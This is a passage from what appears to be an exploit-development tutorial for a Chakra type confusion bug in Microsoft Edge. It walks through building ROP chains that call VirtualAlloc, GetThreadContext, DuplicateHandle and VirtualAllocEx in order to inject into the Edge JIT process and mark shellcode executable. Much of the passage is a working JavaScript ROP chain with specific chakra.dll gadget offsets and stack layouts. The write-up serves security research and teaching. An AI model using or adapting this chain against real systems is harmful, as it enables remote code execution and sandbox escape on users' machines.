<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc</span><span class="p">(</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Let the system decide where to allocate the memory</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="n">PAGE_READWRITE</span>			<span class="c1">// Make sure the page is writable so GetThreadContext can write to it</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Next up is our <code class="language-plaintext highlighter-rouge">dwSize</code> parameter. We showed earlier how to calculate the size of a <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure, and so we will use a value of <code class="language-plaintext highlighter-rouge">0x4d0</code>.</p>

<p><img src="/images/3typeconfusion152.png" alt="" /></p>

<p>This brings us to the following state - with only one more parameter to deal with:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc</span><span class="p">(</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Let the system decide where to allocate the memory</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">),</span>		<span class="c1">// The size we want to allocate (size of a CONTEXT structure)</span>
	<span class="o">-</span>
	<span class="n">PAGE_READWRITE</span>			<span class="c1">// Make sure the page is writable so GetThreadContext can write to it</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The last parameter we need to set is <code class="language-plaintext highlighter-rouge">flAllocationType</code>, which will be a value of <code class="language-plaintext highlighter-rouge">0x3000</code>.</p>

<p><img src="/images/3typeconfusion153.png" alt="" /></p>

<p>This completes our parameters:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc</span><span class="p">(</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Let the system decide where to allocate the memory</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">),</span>		<span class="c1">// The size we want to allocate (size of a CONTEXT structure)</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Make sure this memory is committed and reserved</span>
	<span class="n">PAGE_READWRITE</span>			<span class="c1">// Make sure the page is writable so GetThreadContext can write to it</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Lastly, we execute our function call and the return value should be to a block of memory which we will use in our call to <code class="language-plaintext highlighter-rouge">GetThreadContext</code>.</p>

<p><img src="/images/3typeconfusion154.png" alt="" /></p>

<p><img src="/images/3typeconfusion155.png" alt="" /></p>

<p>As part of our next ROP chain, calling <code class="language-plaintext highlighter-rouge">GetThreadContext</code>, we will preserve this address as we need to write a value into it before we make our call to <code class="language-plaintext highlighter-rouge">GetThreadContext</code>.</p>

<h2 id="getthreadcontext-rop-chain"><code class="language-plaintext highlighter-rouge">GetThreadContext</code> ROP Chain</h2>

<p>As mentioned earlier, we want to inject one last item into the JIT process, now that our shellcode is there, and that is a final ROP chain that will mark our shellcode as RWX. As we know, with ROP, we need to have stack control in order to have ROP work, as each gadget performs a return to the stack, and we need to control what each gadget returns back into (our next ROP gadget). So, since we have already controlled a thread (by creating one) in the remote JIT process, we can use the Windows API <code class="language-plaintext highlighter-rouge">GetThreadContext</code> to dump the CPU register state of our thread, which includes the RSP register, or the stack pointer. In other words, <code class="language-plaintext highlighter-rouge">GetThreadContext</code> allows us, by nature, to leak the stack from a thread in any process which a user has access to via a handle to a thread within said process. Luckily for us, as mentioned, <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> returned a handle to us - meaning we have a handle to a thread within the JIT process that we control.</p>

<p>However, let’s quickly look at <code class="language-plaintext highlighter-rouge">GetThreadContext</code> and its <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext">documentation</a>, specifically the <code class="language-plaintext highlighter-rouge">lpContext</code> parameter:</p>

<blockquote>
  <p>A pointer to a <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure (such as <code class="language-plaintext highlighter-rouge">ARM64_NT_CONTEXT</code>) that receives the appropriate context of the specified thread. The value of the <code class="language-plaintext highlighter-rouge">ContextFlags</code> member of this structure specifies which portions of a thread’s context are retrieved. The <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure is highly processor specific. Refer to the <code class="language-plaintext highlighter-rouge">WinNT.h</code> header file for processor-specific definitions of this structures and any alignment requirements.</p>
</blockquote>

<p>As we can see, it is a <em>slight</em> misnomer to say that we <em>only</em> need to supply <code class="language-plaintext highlighter-rouge">GetThreadContext</code> with an empty buffer to fill. When calling <code class="language-plaintext highlighter-rouge">GetThreadContext</code>, one needs to fill in <code class="language-plaintext highlighter-rouge">CONTEXT.ContextFlags</code> in order to tell the OS how <em>much</em> of the thread’s context (e.g. CPU register state) we would like to receive. In our case, we want to retrieve all of the registers back (a full <code class="language-plaintext highlighter-rouge">0x4d0</code> <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure).</p>

<p>Taking a look at <a href="https://doxygen.reactos.org/d0/df4/sdk_2include_2xdk_2amd64_2ke_8h.html">ReactOS</a> we can see the possible values we can supply here:</p>

<p><img src="/images/3typeconfusion156.png" alt="" /></p>

<p>If we add all of these values together to retrieve <code class="language-plaintext highlighter-rouge">CONTEXT_ALL</code>, we can see we get a value of <code class="language-plaintext highlighter-rouge">0x10001f</code>. This means that when we call <code class="language-plaintext highlighter-rouge">GetThreadContext</code>, before the call, we need to set our <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure (which is really our <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> allocation address) to <code class="language-plaintext highlighter-rouge">0x10001f</code> in the <code class="language-plaintext highlighter-rouge">ContextFlags</code> structure.</p>

<p><img src="/images/3typeconfusion157.png" alt="" /></p>

<p>Looking at WinDbg, this value is located at <code class="language-plaintext highlighter-rouge">CONTEXT + 0x30</code>.</p>

<p><img src="/images/3typeconfusion158.png" alt="" /></p>

<p>This means that <em>before</em> we call <code class="language-plaintext highlighter-rouge">GetThreadContext</code>, we need to write to our buffer, which we allocated with <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> (we will pass this into <code class="language-plaintext highlighter-rouge">GetThreadContext</code> to act as our “<code class="language-plaintext highlighter-rouge">CONTEXT</code>” structure), the value <code class="language-plaintext highlighter-rouge">0x10001f</code> at an offset of <code class="language-plaintext highlighter-rouge">0x30</code> within this buffer. Here is how this looks:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc_buffer</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_ALL</span>		<span class="c1">// CONTEXT_ALL = 0x10001f</span>

<span class="n">GetThreadContext</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>					<span class="c1">// A handle to the thread we want to retrieve a CONTEXT structure for (our thread we created via CreateRemoteThread)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAlloc_buffer</span><span class="p">)</span>			<span class="c1">// The buffer to receive the CONTEXT structure</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Let’s see how all of this looks via ROP (with previous chains for continuity):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
